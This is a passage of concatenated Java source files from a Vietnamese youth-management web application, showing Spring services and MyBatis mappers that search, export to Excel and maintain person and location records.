txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; } return returnValue; } /** * Get user information based on user's id * * @param usersId : user's id received from client * @return user data */ public QltnMCategory getSingleData(String usersId) { return sym0009Dao.getQltnMCategoryMapper().selectByPrimaryKey(usersId); } /** * Check input: blank fields * * @param userData : data received from client * @return boolean : all fields have value: true/blank fields exist: false */ private boolean checkInputBlankFields(QltnMCategory reportData) { if (reportData.getCateName().equals("")) { return false; } else { return true; } } } ``` Sym0041Service.java ```package vn.youthmanager.ict.youth.service; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.HashMap; import java.util.List; import org.apache.log4j.Logger; import org.apache.poi.hssf.usermodel.HSSFCell; import org.apache.poi.hssf.usermodel.HSSFRow; import org.apache.poi.hssf.usermodel.HSSFSheet; import org.apache.poi.hssf.usermodel.HSSFWorkbook; import org.apache.poi.ss.usermodel.CellStyle; import org.apache.poi.ss.usermodel.Font; import org.apache.poi.ss.usermodel.IndexedColors; import org.apache.poi.xwpf.usermodel.XWPFDocument; import org.apache.poi.xwpf.usermodel.XWPFParagraph; import org.apache.poi.xwpf.usermodel.XWPFRun; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.stereotype.Service; import org.springframework.transaction.PlatformTransactionManager; import org.springframework.transaction.TransactionDefinition; import org.springframework.transaction.TransactionStatus; import org.springframework.transaction.support.DefaultTransactionDefinition; import org.springframework.ui.Model; import com.fasterxml.jackson.databind.ObjectMapper; import vn.youthmanager.ict.common.cnst.Constants; import vn.youthmanager.ict.common.cnst.LoggerMessage; import vn.youthmanager.ict.common.db.model.QltnMCategory; import vn.youthmanager.ict.common.db.model.QltnMCategoryExample; import vn.youthmanager.ict.common.db.model.QltnMCity; import vn.youthmanager.ict.common.db.model.QltnMCityExample; import vn.youthmanager.ict.common.db.model.QltnMCountry; import vn.youthmanager.ict.common.db.model.QltnMCountryExample; import vn.youthmanager.ict.common.db.model.QltnMDistrict; import vn.youthmanager.ict.common.db.model.QltnMDistrictExample; import vn.youthmanager.ict.common.db.model.QltnMEducational; import vn.youthmanager.ict.common.db.model.QltnMGroups; import vn.youthmanager.ict.common.db.model.QltnMGroupsExample; import vn.youthmanager.ict.common.db.model.QltnMSpecialized; import vn.youthmanager.ict.common.db.model.QltnMSpecializedExample; import vn.youthmanager.ict.common.db.model.QltnMStatus; import vn.youthmanager.ict.common.db.model.QltnMStatusExample; import vn.youthmanager.ict.common.db.model.QltnMTown; import vn.youthmanager.ict.common.db.model.QltnMTownExample; import vn.youthmanager.ict.common.db.model.QltnMUniversity; import vn.youthmanager.ict.common.db.model.QltnMWards; import vn.youthmanager.ict.common.db.model.QltnMWardsExample; import vn.youthmanager.ict.common.util.Util; import vn.youthmanager.ict.youth.dao.Sym0041Dao; import vn.youthmanager.ict.youth.db.model.Sym0040Contions; import vn.youthmanager.ict.youth.db.model.Sym0041Result; @Service public class Sym0041Service { @Autowired private Sym0041Dao sym0041Dao; @Autowired private Sym0040Service sym0040Service; private static Logger logger = Logger.getLogger(Sym0003Service.class); ObjectMapper mapper = new ObjectMapper(); // Variables definition PlatformTransactionManager txManager; @Autowired private ApplicationContext appContext; public void initData(Sym0040Contions sym0040Contions, Model model) { // set model Attribute // category Id model.addAttribute("cateId", sym0040Contions.getCateId()); // status Id model.addAttribute("statusId", sym0040Contions.getStatusId()); // person Name model.addAttribute("personName", sym0040Contions.getPersonName()); // identity Card model.addAttribute("identityCard", sym0040Contions.getIdentityCard()); // country Id model.addAttribute("countryId", sym0040Contions.getCountryId()); // city Id model.addAttribute("cityId", sym0040Contions.getCityId()); // district Id model.addAttribute("districtId", sym0040Contions.getDistrictId()); // wards Id model.addAttribute("wardsId", sym0040Contions.getWardsId()); // town Id model.addAttribute("townId", sym0040Contions.getTownId()); // groups Id model.addAttribute("groupsId", sym0040Contions.getGroupsId()); // education Id model.addAttribute("educationId", sym0040Contions.getEducationId()); // university Id model.addAttribute("universityId", sym0040Contions.getUniversityId()); // specialized Id model.addAttribute("specializedId", sym0040Contions.getSpecializedId()); // category List<QltnMCategory> cateData = new ArrayList<QltnMCategory>(); try { QltnMCategoryExample QltnMCategoryExample = new QltnMCategoryExample(); QltnMCategoryExample.Criteria countryCriteria = QltnMCategoryExample.createCriteria(); countryCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); cateData = sym0041Dao.getQltnMCategoryMapper().selectByExample(QltnMCategoryExample); model.addAttribute("cateData", mapper.writeValueAsString(cateData)); } catch (Exception ex) { ex.printStackTrace(); cateData = new ArrayList<QltnMCategory>(); } try { model.addAttribute("cateData", mapper.writeValueAsString(cateData)); } catch (Exception ex) { model.addAttribute("cateData", ""); } // Status List<QltnMStatus> StatusData = new ArrayList<QltnMStatus>(); try { QltnMStatusExample QltnMStatusExample = new QltnMStatusExample(); QltnMStatusExample.Criteria countryCriteria = QltnMStatusExample.createCriteria(); countryCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); StatusData = sym0041Dao.getQltnMStatusMapper().selectByExample(QltnMStatusExample); model.addAttribute("StatusData", mapper.writeValueAsString(StatusData)); } catch (Exception ex) { ex.printStackTrace(); StatusData = new ArrayList<QltnMStatus>(); } try { model.addAttribute("StatusData", mapper.writeValueAsString(StatusData)); } catch (Exception ex) { model.addAttribute("StatusData", ""); } // Combobox Country Data List<QltnMCountry> countryData = new ArrayList<QltnMCountry>(); try { QltnMCountryExample qltnMCountryExample = new QltnMCountryExample(); QltnMCountryExample.Criteria countryCriteria = qltnMCountryExample.createCriteria(); countryCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); countryData = sym0041Dao.getQltnMCountryMapper().selectByExample(qltnMCountryExample); model.addAttribute("countryData", mapper.writeValueAsString(countryData)); } catch (Exception ex) { ex.printStackTrace(); countryData = new ArrayList<QltnMCountry>(); } try { model.addAttribute("countryData", mapper.writeValueAsString(countryData)); } catch (Exception ex) { model.addAttribute("countryData", ""); } // University List<QltnMUniversity> universityData = new ArrayList<QltnMUniversity>(); try { universityData = sym0041Dao.getQltnMUniversityMapper().selectByExample(null); model.addAttribute("universityData", mapper.writeValueAsString(universityData)); } catch (Exception ex) { ex.printStackTrace(); universityData = new ArrayList<QltnMUniversity>(); } try { model.addAttribute("universityData", mapper.writeValueAsString(universityData)); } catch (Exception ex) { model.addAttribute("universityData", "''"); } // education List<QltnMEducational> educationData = new ArrayList<QltnMEducational>(); try { educationData = sym0041Dao.getQltnMEducationalMapper().selectByExample(null); model.addAttribute("educationData", mapper.writeValueAsString(educationData)); } catch (Exception ex) { ex.printStackTrace(); educationData = new ArrayList<QltnMEducational>(); } try { model.addAttribute("educationData", mapper.writeValueAsString(educationData)); } catch (Exception ex) { model.addAttribute("educationData", "''"); } } /** * searchData * * Select data from QLTN_M_PERSON * * @param searchConditions * @return */ public List<Sym0041Result> searchData(Sym0040Contions searchConditions) { List<Sym0041Result> symList0041 = new ArrayList<Sym0041Result>(); HashMap<String, Object> params = createSearchConditionParams(searchConditions); try { logger.info(LoggerMessage.SEARCHING_STRATED); // search starts symList0041 = sym0041Dao.getSym0041Mapper().searchData(params); logger.info(LoggerMessage.EXECUTION_FINISHED); if (symList0041.size() > 0) { // "real" total from search result String searchDataTotalCounts = sym0041Dao.getSym0041Mapper().getSearchDataTotalCounts(params); symList0041.get(0).setSearchDataTotalCounts(searchDataTotalCounts); // handle city input data convertSanitize(symList0041); logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(" ==> " + searchDataTotalCounts + " item(s)"); } else { logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(LoggerMessage.ZERO_ITEM); } } catch (OutOfMemoryError ex) { ex.printStackTrace(); Sym0041Result tempObj = new Sym0041Result(); tempObj.setSearchDataTotalCounts("-1"); symList0041.add(tempObj); } catch (Exception ex) { ex.printStackTrace(); symList0041 = null; } return symList0041; } public String downloadDocxFile(String personId) { // Status String returnvalue = ""; // information of Peson List<Sym0041Result> list0041 = new ArrayList<Sym0041Result>(); try { list0041 = sym0040Service.getPersonDetail(personId); XWPFDocument document = new XWPFDocument(); File tempDocFile = new File(Constants.FILE_PATH +"resources/file/mau-ly-lich.doc"); FileOutputStream out = new FileOutputStream(tempDocFile); XWPFParagraph paragraph = document.createParagraph(); XWPFRun run = paragraph.createRun(); run.setText("testing string "); document.write(out); out.close(); } catch (Exception ex) { ex.printStackTrace(); list0041 = null; } return returnvalue; } /** * exportData * * Select data from QLTN_M_PERSON then export excel. * * @param searchConditions * @return * @throws IOException */ public String exportData(Sym0040Contions searchConditions) throws IOException { Object[] headerCell = { "LLTN_STT", "KSKQuan_STT", "ID Thanh Niên", "Tên Thanh Niên", "Ngày Sinh", "Nơi Sinh", "CMND/CCND", "Nguên Quán", "Dân Tộc", "Tôn Giáo", "Địa Chỉ Thường Trú", "Địa Chỉ Tạm Trú", "Quốc Tịch", "Thành Phần", "năm thứ mấy", "Công Việc", "Nới Làm Việc", "Create By", "Update By" }; // file_name String FILE_NAME = "ExcelExport.xls"; String SHEET_NAME = "Danh Sach Thanh Niên"; List<Sym0041Result> symList0041 = new ArrayList<Sym0041Result>(); HashMap<String, Object> params = createSearchConditionParams(searchConditions); try { logger.info(LoggerMessage.SEARCHING_STRATED); // search starts symList0041 = sym0041Dao.getSym0041Mapper().searchData(params); logger.info(LoggerMessage.EXECUTION_FINISHED); if (symList0041.size() > 0) { FILE_NAME = writeXLSFile(headerCell, symList0041, FILE_NAME, SHEET_NAME); } else { logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(LoggerMessage.ZERO_ITEM); } } catch (OutOfMemoryError ex) { ex.printStackTrace(); Sym0041Result tempObj = new Sym0041Result(); tempObj.setSearchDataTotalCounts("-1"); symList0041.add(tempObj); } catch (Exception ex) { ex.printStackTrace(); symList0041 = null; } return FILE_NAME; } public String writeXLSFile(Object[] headerCell, List<Sym0041Result> dataCell , String FILE_NAME, String SHEET_NAME) throws IOException { DateFormat dateFormat = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); Date date = new Date(); String today = dateFormat.format(date).toString().replaceAll("\\/", "").replaceAll(" ", "").replaceAll("\\:", ""); String excelFileName = Constants.DOWNLOAD_PATH + "/"+ today + FILE_NAME;//name of excel file String sheetName = SHEET_NAME;//name of sheet HSSFWorkbook wb = new HSSFWorkbook(); HSSFSheet sheet = wb.createSheet(sheetName) ; // prepare Excel work book Font headerFont = wb.createFont(); // set font size headerFont.setFontHeightInPoints((short) 12); headerFont.setColor(IndexedColors.WHITE.getIndex()); // set font weight headerFont.setBoldweight(Font.BOLDWEIGHT_BOLD); CellStyle xlsColumnHeaderStyle = wb.createCellStyle(); xlsColumnHeaderStyle.setAlignment(CellStyle.ALIGN_CENTER); xlsColumnHeaderStyle.setVerticalAlignment(CellStyle.VERTICAL_CENTER); xlsColumnHeaderStyle.setFillForegroundColor(IndexedColors.BLUE_GREY.getIndex()); xlsColumnHeaderStyle.setFillPattern(CellStyle.SOLID_FOREGROUND); xlsColumnHeaderStyle.setFont(headerFont); int rowNum = 0; int colNum = 0; // create header HSSFRow row = sheet.createRow(rowNum++); for (Object datatype : headerCell) { // create cell HSSFCell cell = row.createCell(colNum++); // set CSS for cell cell.setCellStyle(xlsColumnHeaderStyle); if (datatype instanceof String) { cell.setCellValue((String) datatype); } else if (datatype instanceof Integer) { cell.setCellValue((Integer) datatype); } } for (int i = 0; i < dataCell.size(); i++) { colNum = 0; // create Row HSSFRow rowData = sheet.createRow(rowNum++); // create cell HSSFCell cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getLltnStt()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getKskquanStt()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getPersonId()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getPersonName()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getDateOfBirth() + "/" + (String) dataCell.get(i).getMonthOfBirth() + "/" + (String) dataCell.get(i).getYearOfBirth()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getPlaceOfBirth()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getIdentityCard()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getNation()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getReligion()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getLltnStt()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getPermanentAddress()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getTemporaryResidenceAddress()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getCountryName()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getElement()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getGraduationYear()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getJobId()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getWorkPlace()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getLltnStt()); cell = rowData.createCell(colNum++); cell.setCellValue((String) dataCell.get(i).getLltnStt()); } FileOutputStream fileOut = new FileOutputStream(excelFileName); //write this workbook to an Outputstream. wb.write(fileOut); fileOut.flush(); fileOut.close(); return today + FILE_NAME; } /** * Create search conditions parameters from data received from client * * @param searchConditions : data received from client * @return HashMap object */ private HashMap<String, Object> createSearchConditionParams(Sym0040Contions searchConditions) { HashMap<String, Object> params = new HashMap<String, Object>(); // cate Id params.put("cateId", searchConditions.getCateId()); // status Id params.put("statusId", searchConditions.getStatusId()); // person Name params.put("personName", searchConditions.getPersonName().equals("") ? "" : "%" + searchConditions.getPersonName() + "%"); // wards Code params.put("identityCard", searchConditions.getIdentityCard().equals("") ? "" : "%" + searchConditions.getIdentityCard() + "%"); // country Id params.put("countryId", searchConditions.getCountryId()); // city Id params.put("cityId", searchConditions.getCityId()); // district Id params.put("districtId", searchConditions.getDistrictId()); // wards Id params.put("wardsId", searchConditions.getWardsId()); // town Id params.put("townId", searchConditions.getTownId()); // groups Id params.put("groupsId", searchConditions.getGroupsId()); // education Id params.put("educationId", searchConditions.getEducationId()); // university Id params.put("universityId", searchConditions.getUniversityId()); // specialized Id params.put("specializedId", searchConditions.getSpecializedId()); // From parameter params.put("fromRow", Integer.valueOf(searchConditions.getFromRow())); // Number of items in a page params.put("itemCount", Integer.valueOf(searchConditions.getItemCount())); return params; } /** * Handle city input data * * @param inputData : search result data list */ private void convertSanitize(List<Sym0041Result> inputData) { for (int i = 0; i < inputData.size(); i++) { Sym0041Result currentData = inputData.get(i); // country Name currentData.setCountryName(Util.convertSanitize(currentData.getCountryName())); // city Name currentData.setCityName(Util.convertSanitize(currentData.getCityName())); // District Name currentData.setDistrictName(Util.convertSanitize(currentData.getDistrictName())); // wards Name currentData.setWardsName(Util.convertSanitize(currentData.getWardsName())); // town Name currentData.setTownName(Util.convertSanitize(currentData.getTownName())); // groups Name currentData.setGroupsName(Util.convertSanitize(currentData.getGroupsName())); // category Name currentData.setCateName(Util.convertSanitize(currentData.getCateName())); // status Name currentData.setStatusName(Util.convertSanitize(currentData.getStatusName())); // person Name currentData.setPersonName(Util.convertSanitize(currentData.getPersonName())); // level currentData.setLevel(Util.convertSanitize(currentData.getLevel())); // University Name currentData.setUniversityName(Util.convertSanitize(currentData.getUniversityName())); // specialized Name currentData.setSpecializedName(Util.convertSanitize(currentData.getSpecializedName())); } } public List<QltnMCity> getCityNameByCountryId(String countryId) { // Combobox City Data List<QltnMCity> cityData = new ArrayList<QltnMCity>(); QltnMCityExample qltnMCityExample = new QltnMCityExample(); QltnMCityExample.Criteria cityCriteria = qltnMCityExample.createCriteria(); cityCriteria.andCountryIdEqualTo(countryId); cityCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); cityData = sym0041Dao.getQltnMCityMapper().selectByExample(qltnMCityExample); return cityData; } public List<QltnMSpecialized> getSpecializedDataByUniversityId(String universityId) { // Combobox City Data List<QltnMSpecialized> specializedData = new ArrayList<QltnMSpecialized>(); QltnMSpecializedExample qltnMSpecializedExample = new QltnMSpecializedExample(); QltnMSpecializedExample.Criteria specializedCriteria = qltnMSpecializedExample.createCriteria(); specializedCriteria.andUniversityIdEqualTo(universityId); specializedCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); specializedData = sym0041Dao.getQltnMSpecializedMapper().selectByExample(qltnMSpecializedExample); return specializedData; } public List<QltnMDistrict> getDistrictNameByCityId(String countryId, String cityId) { // Combobox City Data List<QltnMDistrict> districtData = new ArrayList<QltnMDistrict>(); QltnMDistrictExample qltnMDistrictExample = new QltnMDistrictExample(); QltnMDistrictExample.Criteria districtCriteria = qltnMDistrictExample.createCriteria(); districtCriteria.andCountryIdEqualTo(countryId); districtCriteria.andCityIdEqualTo(cityId); districtCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); districtData = sym0041Dao.getQltnMDistrictMapper().selectByExample(qltnMDistrictExample); return districtData; } public List<QltnMWards> getWardsNameByDistrictId(String countryId, String cityId, String districtId) { // Combobox wards Data List<QltnMWards> wardsData = new ArrayList<QltnMWards>(); QltnMWardsExample qltnMWardsExample = new QltnMWardsExample(); QltnMWardsExample.Criteria wardsCriteria = qltnMWardsExample.createCriteria(); wardsCriteria.andCountryIdEqualTo(countryId); wardsCriteria.andCityIdEqualTo(cityId); wardsCriteria.andDistrictIdEqualTo(districtId); wardsCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); wardsData = sym0041Dao.getQltnMWardsMapper().selectByExample(qltnMWardsExample); return wardsData; } public List<QltnMTown> getTownNameByWardsId(String countryId, String cityId, String districtId, String wardsId) { // Combobox Town Data List<QltnMTown> townData = new ArrayList<QltnMTown>(); QltnMTownExample qltnMTownExample = new QltnMTownExample(); QltnMTownExample.Criteria townCriteria = qltnMTownExample.createCriteria(); townCriteria.andCountryIdEqualTo(countryId); townCriteria.andCityIdEqualTo(cityId); townCriteria.andDistrictIdEqualTo(districtId); townCriteria.andWardsIdEqualTo(wardsId); townCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); townData = sym0041Dao.getQltnMTownMapper().selectByExample(qltnMTownExample); return townData; } public List<QltnMGroups> getGroupsDataByTownId(String countryId, String cityId, String districtId, String wardsId, String townId) { // Combobox Groups Data List<QltnMGroups> townData = new ArrayList<QltnMGroups>(); QltnMGroupsExample qltnMGroupsExample = new QltnMGroupsExample(); QltnMGroupsExample.Criteria groupsCriteria = qltnMGroupsExample.createCriteria(); groupsCriteria.andCountryIdEqualTo(countryId); groupsCriteria.andCityIdEqualTo(cityId); groupsCriteria.andDistrictIdEqualTo(districtId); groupsCriteria.andWardsIdEqualTo(wardsId); groupsCriteria.andTownIdEqualTo(townId); groupsCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); townData = sym0041Dao.getQltnMGroupsMapper().selectByExample(qltnMGroupsExample); return townData; } /** * Delete report from DB * * @param usersId : user's id to delete * @return String : delete successfully: 1/delete failed: -1 */ public String deleteData(String personId) { // variable definition String returnValue = Constants.DELETE_RESULT_SUCCESSFUL; // delete starts try { // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { int result = sym0041Dao.getQltnMPersonMapper().deleteByPrimaryKey(personId); if (result > 0) { // delete record in QLTN_M_PERSON successfully // register to DB txManager.commit(status); } else { returnValue = Constants.DELETE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; } return returnValue; } } ``` 19a25959bd54eb2ac2951624e232d5a7a0adf4e1.svn-base ```package vn.youthmanager.ict.youth.db.mapper; import java.util.List; import java.util.Map; import vn.youthmanager.ict.youth.db.model.Sym0019Result; public interface Sym0019Mapper { List<Sym0019Result> searchData(Map<String, Object> params); String getSearchDataTotalCounts(Map<String, Object> params); String getLastIdSpecizalized (Map<String, Object> params); } ``` QltnMProcessPersonMapper.java ```package vn.youthmanager.ict.common.db.mapper; import java.util.List; import org.apache.ibatis.annotations.Param; import vn.youthmanager.ict.common.db.model.QltnMProcessPerson; import vn.youthmanager.ict.common.db.model.QltnMProcessPersonExample; import vn.youthmanager.ict.common.db.model.QltnMProcessPersonKey; public interface QltnMProcessPersonMapper { /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ int countByExample(QltnMProcessPersonExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ int deleteByExample(QltnMProcessPersonExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ int deleteByPrimaryKey(QltnMProcessPersonKey key); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ int insert(QltnMProcessPerson record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ int insertSelective(QltnMProcessPerson record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ List<QltnMProcessPerson> selectByExample(QltnMProcessPersonExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ QltnMProcessPerson selectByPrimaryKey(QltnMProcessPersonKey key); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ int updateByExampleSelective(@Param("record") QltnMProcessPerson record, @Param("example") QltnMProcessPersonExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ int updateByExample(@Param("record") QltnMProcessPerson record, @Param("example") QltnMProcessPersonExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ int updateByPrimaryKeySelective(QltnMProcessPerson record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ int updateByPrimaryKey(QltnMProcessPerson record); }``` Sym0011Service.java ```package vn.youthmanager.ict.youth.service; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.dao.DuplicateKeyException; import org.springframework.stereotype.Service; import org.springframework.transaction.PlatformTransactionManager; import org.springframework.transaction.TransactionDefinition; import org.springframework.transaction.TransactionStatus; import org.springframework.transaction.support.DefaultTransactionDefinition; import vn.youthmanager.ict.common.cnst.Constants; import vn.youthmanager.ict.common.cnst.LoggerMessage; import vn.youthmanager.ict.common.db.model.QltnMCountry; import vn.youthmanager.ict.common.util.Util; import vn.youthmanager.ict.youth.dao.Sym0011Dao; import vn.youthmanager.ict.youth.db.model.Sym0011Conditions; import vn.youthmanager.ict.youth.db.model.Sym0011Result; @Service public class Sym0011Service { private static Logger logger = Logger.getLogger(Sym0003Service.class); @Autowired private Sym0011Dao Sym0011Dao; // Variables definition PlatformTransactionManager txManager; @Autowired private ApplicationContext appContext; /** * Search University in DB based on search conditions received from client * * @param searchConditions : data received from client * @return List of Universitys data */ public List<Sym0011Result> searchData(Sym0011Conditions searchConditions) { List<Sym0011Result> bnn0018ResultList = new ArrayList<Sym0011Result>(); HashMap<String, Object> params = createSearchConditionParams(searchConditions); try { logger.info(LoggerMessage.SEARCHING_STRATED); // search starts bnn0018ResultList = Sym0011Dao.getSym0011Mapper().searchData(params); logger.info(LoggerMessage.EXECUTION_FINISHED); if (bnn0018ResultList.size() > 0) { // "real" total from search result String searchDataTotalCounts = Sym0011Dao.getSym0011Mapper().getSearchDataTotalCounts(params); bnn0018ResultList.get(0).setSearchDataTotalCounts(searchDataTotalCounts); // handle University input data convertSanitize(bnn0018ResultList); logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(" ==> " + searchDataTotalCounts + " item(s)"); } else { logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(LoggerMessage.ZERO_ITEM); } } catch (OutOfMemoryError ex) { ex.printStackTrace(); Sym0011Result tempObj = new Sym0011Result(); tempObj.setSearchDataTotalCounts("-1"); bnn0018ResultList.add(tempObj); } catch (Exception ex) { ex.printStackTrace(); bnn0018ResultList = null; } return bnn0018ResultList; } /** * Create search conditions parameters from data received from client * * @param searchConditions : data received from client * @return HashMap object */ private HashMap<String, Object> createSearchConditionParams(Sym0011Conditions searchConditions) { HashMap<String, Object> params = new HashMap<String, Object>(); // country Name params.put("countryName", searchConditions.getCountryName().equals("") ? "" : "%" + searchConditions.getCountryName() + "%"); // country Code params.put("countryCode", searchConditions.getCountryCode().equals("") ? "" : "%" + searchConditions.getCountryCode() + "%"); // From parameter params.put("fromRow", Integer.valueOf(searchConditions.getFromRow())); // Number of items in a page params.put("itemCount", Integer.valueOf(searchConditions.getItemCount())); return params; } /** * Handle University input data * * @param inputData : search result data list */ private void convertSanitize(List<Sym0011Result> inputData) { for (int i = 0; i < inputData.size(); i++) { Sym0011Result currentData = inputData.get(i); // University Name currentData.setCountryName(Util.convertSanitize(currentData.getCountryName())); // University Code currentData.setCountryCode(Util.convertSanitize(currentData.getCountryCode())); } } /** * Update Country's information to DB * * @param UniversityData : data received from client * @return String : update successfully: 1/update failed: -1 */ public String updateData(QltnMCountry universityData) { // variable definition String returnValue = Constants.UPDATE_RESULT_SUCCESSFUL; // update starts try { // check logged in University id if (Util.getUserInfo().getID() == null) { logger.error(LoggerMessage.ERROR_MESSAGE+ "Could not get logged in Country's id"); returnValue = Constants.UPDATE_RESULT_FAILED; return returnValue; } // check for Report input if (!checkInputBlankFields(universityData)) { // blank field(s) logger.error(LoggerMessage.ERROR_MESSAGE +"Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { QltnMCountry universityObj = new QltnMCountry(); // University Id universityObj.setCountryId(universityData.getCountryId()); // University Name universityObj.setCountryName(universityData.getCountryName()); // University Code universityObj.setCountryCode(universityData.getCountryCode()); // update User id universityObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag universityObj.setDeleteFlag(universityData.getDeleteFlag()); int result = Sym0011Dao.getQltnMCountryMapper().updateByPrimaryKeySelective(universityObj); if (result > 0) { // update successfully // register to DB txManager.commit(status); } else { returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error(LoggerMessage.ERROR_MESSAGE + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error(LoggerMessage.ERROR_MESSAGE + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; } return returnValue; } /** * Insert Country's information to DB * * @param UniversityData : data received from client * @return String : insert successfully: 1/insert failed: -1 */ public String insertData(QltnMCountry countryData) { // variable definition String returnValue = Constants.INSERT_RESULT_SUCCESSFUL; // insert starts try { // check logged in University id if (Util.getUserInfo().getID() == null) { logger.error("Error message: Could not get logged in Country's id"); returnValue = Constants.INSERT_RESULT_FAILED; return returnValue; } // check for University input if (!checkInputBlankFields(countryData)) { // blank field(s) logger.error("Error message: Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { HashMap<String, Object> params = new HashMap<String, Object>(); params.put("countryIdDefault", Constants.DEFAULT_PARAMS); String idNumberStr = Sym0011Dao.getSym0011Mapper().getLastIdCountry(params); int idNumber = 0; if (idNumberStr != null) { idNumber = Integer.parseInt(idNumberStr.substring(2)); } if (idNumber < Constants.DEFAULT_ID) { idNumber = idNumber + 1; String countryId = Constants.COUNTRY_CHARATER + String.format("%0" + Constants.MAX_LENGHT_ID + "d", idNumber); QltnMCountry universityObj = new QltnMCountry(); // countryId universityObj.setCountryId(countryId); // University Code universityObj.setCountryCode(countryData.getCountryCode()); // University Name universityObj.setCountryName(countryData.getCountryName()); // create University id 